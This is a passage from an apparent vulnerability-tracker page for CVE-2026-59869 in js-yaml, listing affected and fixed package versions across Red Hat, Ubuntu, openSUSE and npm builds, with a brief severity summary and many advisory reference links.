rust-std-static-aarch64-unknown-none-softfloatRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rust-std-static-aarch64-unknown-uefiRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rust-std-static-i686-pc-windows-gnuRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rust-std-static-wasm32-unknown-unknownRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rust-std-static-wasm32-wasip1Red Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rust-std-static-x86_64-pc-windows-gnuRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rust-std-static-x86_64-unknown-noneRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rust-std-static-x86_64-unknown-uefiRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
rustfmtRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:1.97.0-1.1.hum1 | 0:1.97.0-1.1.hum1 |
nodejs24Red Hat:hummingbird:1 From an advisory covering 10 CVEs |
before 0:24.18.0-0.3.hum1 | 0:24.18.0-0.3.hum1 |
nodejs24-binRed Hat:hummingbird:1 From an advisory covering 10 CVEs |
before 0:24.18.0-0.3.hum1 | 0:24.18.0-0.3.hum1 |
nodejs24-develRed Hat:hummingbird:1 From an advisory covering 10 CVEs |
before 0:24.18.0-0.3.hum1 | 0:24.18.0-0.3.hum1 |
nodejs24-docsRed Hat:hummingbird:1 From an advisory covering 10 CVEs |
before 0:24.18.0-0.3.hum1 | 0:24.18.0-0.3.hum1 |
nodejs24-full-i18nRed Hat:hummingbird:1 From an advisory covering 10 CVEs |
before 0:24.18.0-0.3.hum1 | 0:24.18.0-0.3.hum1 |
nodejs24-libsRed Hat:hummingbird:1 From an advisory covering 10 CVEs |
before 0:24.18.0-0.3.hum1 | 0:24.18.0-0.3.hum1 |
nodejs24-npmRed Hat:hummingbird:1 From an advisory covering 10 CVEs |
before 0:11.16.0-1.24.18.0.0.3.hum1 | 0:11.16.0-1.24.18.0.0.3.hum1 |
nodejs24-npm-binRed Hat:hummingbird:1 From an advisory covering 10 CVEs |
before 0:24.18.0-0.3.hum1 | 0:24.18.0-0.3.hum1 |
v8-13.6-develRed Hat:hummingbird:1 From an advisory covering 10 CVEs |
before 0:13.6.233.17-1.24.18.0.0.3.hum1 | 0:13.6.233.17-1.24.18.0.0.3.hum1 |
nodejs22Red Hat:hummingbird:1 |
before 0:22.23.1-2.1.hum1 | 0:22.23.1-2.1.hum1 |
nodejs22-binRed Hat:hummingbird:1 |
before 0:22.23.1-2.1.hum1 | 0:22.23.1-2.1.hum1 |
nodejs22-develRed Hat:hummingbird:1 |
before 0:22.23.1-2.1.hum1 | 0:22.23.1-2.1.hum1 |
nodejs22-docsRed Hat:hummingbird:1 |
before 0:22.23.1-2.1.hum1 | 0:22.23.1-2.1.hum1 |
nodejs22-full-i18nRed Hat:hummingbird:1 |
before 0:22.23.1-2.1.hum1 | 0:22.23.1-2.1.hum1 |
nodejs22-libsRed Hat:hummingbird:1 |
before 0:22.23.1-2.1.hum1 | 0:22.23.1-2.1.hum1 |
nodejs22-npmRed Hat:hummingbird:1 |
before 0:10.9.8-1.22.23.1.2.1.hum1 | 0:10.9.8-1.22.23.1.2.1.hum1 |
nodejs22-npm-binRed Hat:hummingbird:1 |
before 0:22.23.1-2.1.hum1 | 0:22.23.1-2.1.hum1 |
v8-12.4-develRed Hat:hummingbird:1 |
before 0:12.4.254.21-1.22.23.1.2.1.hum1 | 0:12.4.254.21-1.22.23.1.2.1.hum1 |
aspnetcore-runtime-8.0Red Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:8.0.28-1.2.hum1 | 0:8.0.28-1.2.hum1 |
aspnetcore-runtime-dbg-8.0Red Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:8.0.28-1.2.hum1 | 0:8.0.28-1.2.hum1 |
aspnetcore-targeting-pack-8.0Red Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:8.0.28-1.2.hum1 | 0:8.0.28-1.2.hum1 |
dotnet-apphost-pack-8.0Red Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:8.0.28-1.2.hum1 | 0:8.0.28-1.2.hum1 |
dotnet-hostfxr-8.0Red Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:8.0.28-1.2.hum1 | 0:8.0.28-1.2.hum1 |
dotnet-runtime-8.0Red Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:8.0.28-1.2.hum1 | 0:8.0.28-1.2.hum1 |
dotnet-runtime-dbg-8.0Red Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:8.0.28-1.2.hum1 | 0:8.0.28-1.2.hum1 |
dotnet-sdk-8.0Red Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:8.0.128-1.2.hum1 | 0:8.0.128-1.2.hum1 |
dotnet-sdk-8.0-source-built-artifactsRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:8.0.128-1.2.hum1 | 0:8.0.128-1.2.hum1 |
dotnet-sdk-dbg-8.0Red Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:8.0.128-1.2.hum1 | 0:8.0.128-1.2.hum1 |
dotnet-targeting-pack-8.0Red Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:8.0.28-1.2.hum1 | 0:8.0.28-1.2.hum1 |
dotnet-templates-8.0Red Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:8.0.128-1.2.hum1 | 0:8.0.128-1.2.hum1 |
dotnet8.0Red Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:8.0.128-1.2.hum1 | 0:8.0.128-1.2.hum1 |
rh-podman-desktopRed Hat:enterprise_linux:10.2 From an advisory covering 24 CVEs |
before 0:1.1.2-1.el10_2 | 0:1.1.2-1.el10_2 |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
receptorRed Hat:ansible_automation_platform:2.6::el10 From an advisory covering 61 CVEs |
before 0:1.6.8-1.el10ap | 0:1.6.8-1.el10ap |
receptorRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 61 CVEs |
before 0:1.6.8-1.el9ap | 0:1.6.8-1.el9ap |
receptorRed Hat:ansible_automation_platform_inside:2.6::el9 From an advisory covering 61 CVEs |
before 0:1.6.8-1.el9ap | 0:1.6.8-1.el9ap |
automation-gateway-proxy-serverRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:2.6.17-3.el9ap | 0:2.6.17-3.el9ap |
receptorRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:1.6.8-1.el9ap | 0:1.6.8-1.el9ap |
python-sqlparseRed Hat:ansible_automation_platform_developer:2.6::el10 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el10ap | 0:0.6.0-1.el10ap |
python3-sqlparseRed Hat:ansible_automation_platform_developer:2.6::el10 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el10ap | 0:0.6.0-1.el10ap |
python-sqlparseRed Hat:ansible_automation_platform:2.6::el10 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el10ap | 0:0.6.0-1.el10ap |
python3-sqlparseRed Hat:ansible_automation_platform:2.6::el10 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el10ap | 0:0.6.0-1.el10ap |
python3.12-sqlparseRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el9ap | 0:0.6.0-1.el9ap |
python3.12-sqlparseRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:0.6.0-1.el9ap | 0:0.6.0-1.el9ap |
automation-platform-uiRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:2.6.14-1.el9ap | 0:2.6.14-1.el9ap |
automation-controllerRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
automation-controller-cliRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
automation-controllerRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
automation-controller-cliRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
automation-controller-serverRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
automation-controller-uiRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:4.7.17-1.el9ap | 0:4.7.17-1.el9ap |
python3.12-gitpythonRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 61 CVEs |
before 0:3.1.60-1.el9ap | 0:3.1.60-1.el9ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 57 CVEs |
before 0:4.6.33-1.el8ap | 0:4.6.33-1.el8ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 57 CVEs |
before 0:4.6.33-1.el9ap | 0:4.6.33-1.el9ap |
receptorRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 57 CVEs |
before 0:1.6.8-1.el8ap | 0:1.6.8-1.el8ap |
receptorRed Hat:ansible_automation_platform_inside:2.5::el8 From an advisory covering 57 CVEs |
before 0:1.6.8-1.el8ap | 0:1.6.8-1.el8ap |
automation-gateway-proxy-serverRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 57 CVEs |
before 0:2.5.10-8.el8ap | 0:2.5.10-8.el8ap |
receptorRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 57 CVEs |
before 0:1.6.8-1.el8ap | 0:1.6.8-1.el8ap |
receptorRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 57 CVEs |
before 0:1.6.8-1.el9ap | 0:1.6.8-1.el9ap |
receptorRed Hat:ansible_automation_platform_inside:2.5::el9 From an advisory covering 57 CVEs |
before 0:1.6.8-1.el9ap | 0:1.6.8-1.el9ap |
automation-gateway-proxy-serverRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 57 CVEs |
before 0:2.6.17-3.el9ap | 0:2.6.17-3.el9ap |
receptorRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 57 CVEs |
before 0:1.6.8-1.el9ap | 0:1.6.8-1.el9ap |
python3.12-sqlparseRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 57 CVEs |
before 0:0.6.0-1.el8ap | 0:0.6.0-1.el8ap |
python3.12-sqlparseRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 57 CVEs |
before 0:0.6.0-1.el8ap | 0:0.6.0-1.el8ap |
python3.12-sqlparseRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 57 CVEs |
before 0:0.6.0-1.el9ap | 0:0.6.0-1.el9ap |
python3.12-sqlparseRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 57 CVEs |
before 0:0.6.0-1.el9ap | 0:0.6.0-1.el9ap |
automation-gateway-serverRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 57 CVEs |
before 0:2.5.20260923-1.el8ap | 0:2.5.20260923-1.el8ap |
automation-gateway-serverRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 57 CVEs |
before 0:2.5.20260923-1.el9ap | 0:2.5.20260923-1.el9ap |
python3.12-gitpythonRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 57 CVEs |
before 0:3.1.60-1.el8ap | 0:3.1.60-1.el8ap |
python3.12-gitpythonRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 57 CVEs |
before 0:3.1.60-1.el9ap | 0:3.1.60-1.el9ap |
js-yamlRoot:npm |
before 3.14.0-aikido.3 | 3.14.0-aikido.33.14.1-aikido.63.14.2-aikido.44.1.0-aikido.64.1.1-aikido.44.1.1-aikido.23.14.2-aikido.24.2.0-aikido.13.14.1-aikido.44.1.0-aikido.43.13.1-aikido.43.14.2-aikido.34.2.0-aikido.23.14.1-aikido.54.1.1-aikido.34.1.0-aikido.53.13.1-aikido.34.0.0-aikido.13.7.0-aikido.23.14.0-aikido.24.1.1-aikido.54.3.0-aikido.33.15.0-aikido.23.15.0-aikido.14.3.0-aikido.14.3.0-aikido.23.7.0-aikido.13.14.0-aikido.14.3.1-aikido.13.15.1-aikido.1 |
@rootio/js-yamlRoot:npm |
before 3.14.0-root.io.3 | 3.14.0-root.io.33.14.1-root.io.63.14.2-root.io.44.1.0-root.io.64.1.1-root.io.44.1.1-root.io.23.14.2-root.io.24.2.0-root.io.13.14.1-root.io.44.1.0-root.io.43.13.1-root.io.43.14.2-root.io.34.2.0-root.io.23.14.1-root.io.54.1.1-root.io.34.1.0-root.io.53.13.1-root.io.34.0.0-root.io.13.7.0-root.io.23.14.0-root.io.24.1.1-root.io.54.3.0-root.io.33.15.0-root.io.23.15.0-root.io.14.3.0-root.io.14.3.0-root.io.23.7.0-root.io.13.14.0-root.io.14.3.1-root.io.13.15.1-root.io.1 |
node-js-yamlUbuntu:18.04:LTS |
All versions, plus listed versions 3.9.1+dfsg-13.10.0+dfsg-1 |
None known |
node-js-yamlUbuntu:20.04:LTS |
All versions, plus listed versions 3.13.1+dfsg-2 |
None known |
node-js-yamlUbuntu:22.04:LTS |
All versions, plus listed versions 3.14.1+dfsg+~3.12.6-24.1.0+dfsg+~4.0.5-4ubuntu14.1.0+dfsg+~4.0.5-54.1.0+dfsg+~4.0.5-6 |
None known |
node-js-yamlUbuntu:24.04:LTS |
All versions, plus listed versions 4.1.0+dfsg+~4.0.5-7 |
None known |
node-js-yamlUbuntu:25.10 |
All versions, plus listed versions 4.1.0+dfsg+~4.0.5-7 |
None known |
node-js-yamlUbuntu:26.10 |
All versions, plus listed versions 4.1.1+dfsg+~4.0.9-14.2.0+~4.0.9-14.2.0+~4.0.9-2 |
None known |
node-js-yamlUbuntu:26.04:LTS |
All versions, plus listed versions 4.1.0+dfsg+~4.0.5-74.1.1+dfsg+~4.0.9-1 |
None known |
velociraptoropenSUSE:Tumbleweed From an advisory covering 40 CVEs |
before 0.76.7.0.git145.b60ef1146-1.1 | 0.76.7.0.git145.b60ef1146-1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| facts | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-59869 is a high vulnerability (CVSS 7.5) in Nodeca Js-yaml, published July 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.58%, the 48th percentile. Fixed in js-yaml 3.15.0.
References
github.com/nodeca/js-yaml/security/advisories/GHSA-52cp-r559-cp3m
github.com/nodeca/js-yaml/commit/24f13e79ee1343a7e30bd6f6c9d9cdbf0ac9b2b7
github.com/nodeca/js-yaml/commit/59423c6f8cdc78742ac00e25a4dd39ef16b702e4
github.com/nodeca/js-yaml/releases/tag/3.15.0
github.com/nodeca/js-yaml/releases/tag/4.3.0
nvd.nist.gov/vuln/detail/CVE-2026-59869
Show 194 moreShow less
github.com/advisories/GHSA-52cp-r559-cp3m
github.com/nodeca/js-yaml/security/advisories/GHSA-5p4m-2wfm-xmqj
github.com/advisories/GHSA-5p4m-2wfm-xmqj
github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59869.json
security-tracker.debian.org/tracker/CVE-2026-59869
github.com/nodeca/js-yaml
access.redhat.com/errata/RHSA-2026:37532
access.redhat.com/security/cve/CVE-2026-59869
access.redhat.com/security/updates/classification
images.redhat.com
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_37532.json
bugzilla.redhat.com/show_bug.cgi?id=2498122
cve.org/CVERecord?id=CVE-2026-59869
access.redhat.com/errata/RHSA-2026:37534
access.redhat.com/security/cve/CVE-2026-53550
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_37534.json
bugzilla.redhat.com/show_bug.cgi?id=2491401
cve.org/CVERecord?id=CVE-2026-53550
nvd.nist.gov/vuln/detail/CVE-2026-53550
github.com/nodeca/js-yaml/security/advisories/GHSA-h67p-54hq-rp68
access.redhat.com/errata/RHSA-2026:37577
access.redhat.com/security/cve/CVE-2026-59725
access.redhat.com/security/cve/CVE-2026-39243
access.redhat.com/security/cve/CVE-2026-39245
access.redhat.com/security/cve/CVE-2020-12265
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_37577.json
bugzilla.redhat.com/show_bug.cgi?id=2498833
cve.org/CVERecord?id=CVE-2026-39243
nvd.nist.gov/vuln/detail/CVE-2026-39243
github.com/kevva/decompress
github.com/kevva/decompress/issues/113
npmjs.com/package/decompress
bugzilla.redhat.com/show_bug.cgi?id=2498814
cve.org/CVERecord?id=CVE-2026-39245
nvd.nist.gov/vuln/detail/CVE-2026-39245
github.com/kevva/decompress/issues/115
nvd.nist.gov/vuln/detail/CVE-2020-12265
bugzilla.redhat.com/show_bug.cgi?id=2498118
cve.org/CVERecord?id=CVE-2026-59725
nvd.nist.gov/vuln/detail/CVE-2026-59725
github.com/socketio/socket.io/commit/fc11285e14964c2132d122164bf130c355f60671
github.com/socketio/socket.io/releases/tag/[email protected]
github.com/socketio/socket.io/security/advisories/GHSA-r635-g3xr-vw7x
access.redhat.com/errata/RHSA-2026:38187
access.redhat.com/security/cve/CVE-2026-48801
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_38187.json
bugzilla.redhat.com/show_bug.cgi?id=2500656
cve.org/CVERecord?id=CVE-2026-48801
nvd.nist.gov/vuln/detail/CVE-2026-48801
github.com/markdown-it/linkify-it/commit/6be6d15e0641bf1daeaa977d500cabc743166159
github.com/markdown-it/linkify-it/security/advisories/GHSA-22p9-wv53-3rq4
access.redhat.com/errata/RHSA-2026:38236
access.redhat.com/security/cve/CVE-2026-11525
access.redhat.com/security/cve/CVE-2026-9679
access.redhat.com/security/cve/CVE-2026-6733
access.redhat.com/security/cve/CVE-2026-9678
access.redhat.com/security/cve/CVE-2026-12151
access.redhat.com/security/cve/CVE-2026-9697
access.redhat.com/security/cve/CVE-2026-6734
access.redhat.com/security/cve/CVE-2026-5078
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_38236.json
bugzilla.redhat.com/show_bug.cgi?id=2484311
cve.org/CVERecord?id=CVE-2026-5078
nvd.nist.gov/vuln/detail/CVE-2026-5078
cna.openjsf.org/security-advisories.html
github.com/expressjs/morgan/security/advisories/GHSA-4vj7-5mj6-jm8m
bugzilla.redhat.com/show_bug.cgi?id=2490006
cve.org/CVERecord?id=CVE-2026-6733
nvd.nist.gov/vuln/detail/CVE-2026-6733
github.com/nodejs/undici/security/advisories/GHSA-35p6-xmwp-9g52
hackerone.com/reports/3582376
bugzilla.redhat.com/show_bug.cgi?id=2490024
cve.org/CVERecord?id=CVE-2026-6734
nvd.nist.gov/vuln/detail/CVE-2026-6734
github.com/nodejs/undici/security/advisories/GHSA-hm92-r4w5-c3mj
bugzilla.redhat.com/show_bug.cgi?id=2490000
cve.org/CVERecord?id=CVE-2026-9678
nvd.nist.gov/vuln/detail/CVE-2026-9678
github.com/nodejs/undici/security/advisories/GHSA-pr7r-676h-xcf6
bugzilla.redhat.com/show_bug.cgi?id=2490022
cve.org/CVERecord?id=CVE-2026-9679
nvd.nist.gov/vuln/detail/CVE-2026-9679
github.com/nodejs/undici/security/advisories/GHSA-p88m-4jfj-68fv
bugzilla.redhat.com/show_bug.cgi?id=2490018
cve.org/CVERecord?id=CVE-2026-9697
nvd.nist.gov/vuln/detail/CVE-2026-9697
bugzilla.redhat.com/show_bug.cgi?id=2490008
cve.org/CVERecord?id=CVE-2026-11525
nvd.nist.gov/vuln/detail/CVE-2026-11525
bugzilla.redhat.com/show_bug.cgi?id=2489980
cve.org/CVERecord?id=CVE-2026-12151
nvd.nist.gov/vuln/detail/CVE-2026-12151
access.redhat.com/errata/RHSA-2026:38304
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_38304.json
access.redhat.com/errata/RHSA-2026:40415
access.redhat.com/security/cve/CVE-2026-53486
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_40415.json
bugzilla.redhat.com/show_bug.cgi?id=2500679
cve.org/CVERecord?id=CVE-2026-53486
nvd.nist.gov/vuln/detail/CVE-2026-53486
bugzilla.redhat.com/show_bug.cgi?id=2455470
bugzilla.redhat.com/show_bug.cgi?id=2476810
bugzilla.redhat.com/show_bug.cgi?id=2477081
bugzilla.redhat.com/show_bug.cgi?id=2477914
bugzilla.redhat.com/show_bug.cgi?id=2487050
bugzilla.redhat.com/show_bug.cgi?id=2487946
bugzilla.redhat.com/show_bug.cgi?id=2488480
bugzilla.redhat.com/show_bug.cgi?id=2488934
bugzilla.redhat.com/show_bug.cgi?id=2489661
issues.redhat.com/browse/RHEL-238929
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_57590.json
cve.org/CVERecord?id=CVE-2026-9595
nvd.nist.gov/vuln/detail/CVE-2026-9595
cve.org/CVERecord?id=CVE-2026-12143
nvd.nist.gov/vuln/detail/CVE-2026-12143
cwe.mitre.org/data/definitions/93.html
html.spec.whatwg.org/multipage/form-control-infrastructure.html
npmjs.com/package/form-data
cve.org/CVERecord?id=CVE-2026-13149
nvd.nist.gov/vuln/detail/CVE-2026-13149
npmjs.com/package/brace-expansion
cve.org/CVERecord?id=CVE-2026-13676
nvd.nist.gov/vuln/detail/CVE-2026-13676
cve.org/CVERecord?id=CVE-2026-14257
nvd.nist.gov/vuln/detail/CVE-2026-14257
cve.org/CVERecord?id=CVE-2026-34986
nvd.nist.gov/vuln/detail/CVE-2026-34986
pkg.go.dev/github.com/go-jose/go-jose/v4
cve.org/CVERecord?id=CVE-2026-42338
nvd.nist.gov/vuln/detail/CVE-2026-42338
cve.org/CVERecord?id=CVE-2026-42570
nvd.nist.gov/vuln/detail/CVE-2026-42570
raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-177-01.json
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6/whats_new-async_updates
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_71113.json
go.dev/cl/814980
go.dev/issue/80405
groups.google.com/g/golang-announce/c/94pEornpRlI
pkg.go.dev/vuln/GO-2026-5972
go.dev/cl/774481
go.dev/issue/79217
groups.google.com/g/golang-announce/c/tKs3rmcBcKw
pkg.go.dev/vuln/GO-2026-5038
go.dev/cl/795540
go.dev/issue/80205
pkg.go.dev/vuln/GO-2026-6089
go.dev/cl/807100
go.dev/issue/80435
pkg.go.dev/vuln/GO-2026-6091
go.dev/cl/803320
go.dev/issue/80481
pkg.go.dev/vuln/GO-2026-6088
go.dev/cl/803681
go.dev/issue/80494
pkg.go.dev/vuln/GO-2026-6218
go.dev/cl/804261
go.dev/issue/80528
pkg.go.dev/vuln/GO-2026-6090
vulncheck.com/advisories/nanoid-before-infinite-loop-via-negative-size-in-non-secure-module
vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-clone-from
vulncheck.com/advisories/gitpython-before-command-injection-via-unguarded-git-options
vulncheck.com/advisories/gitpython-before-command-injection-via-option-prefix-abbreviation
vulncheck.com/advisories/dompurify-before-cross-site-scripting-via-in-place-hook
vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-tagreference-create
vulncheck.com/advisories/gitpython-before-3.1.60-remote-code-execution-via-git-directory-impersonation
vulncheck.com/advisories/gitpython-before-3.1.60-denial-of-service-via-redos
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5/html/release_notes/patch_releases
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_71114.json
ubuntu.com/security/CVE-2026-59869
suse.com/security/cve/CVE-2025-0914
suse.com/security/cve/CVE-2026-12143
suse.com/security/cve/CVE-2026-14257
suse.com/security/cve/CVE-2026-17535
suse.com/security/cve/CVE-2026-18348
suse.com/security/cve/CVE-2026-18636
suse.com/security/cve/CVE-2026-18638
suse.com/security/cve/CVE-2026-18639
suse.com/security/cve/CVE-2026-18860
suse.com/security/cve/CVE-2026-27601
suse.com/security/cve/CVE-2026-29074
suse.com/security/cve/CVE-2026-41650
suse.com/security/cve/CVE-2026-45623
suse.com/security/cve/CVE-2026-49356
suse.com/security/cve/CVE-2026-5329
suse.com/security/cve/CVE-2026-53550
suse.com/security/cve/CVE-2026-55602
suse.com/security/cve/CVE-2026-56852
suse.com/security/cve/CVE-2026-59869
suse.com/security/cve/CVE-2026-6290
suse.com/security/cve/CVE-2026-64951
suse.com/security/cve/CVE-2026-64952
suse.com/security/cve/CVE-2026-64954
Left out here: 416 references and the rest of 2 source descriptions. The JSON record has them.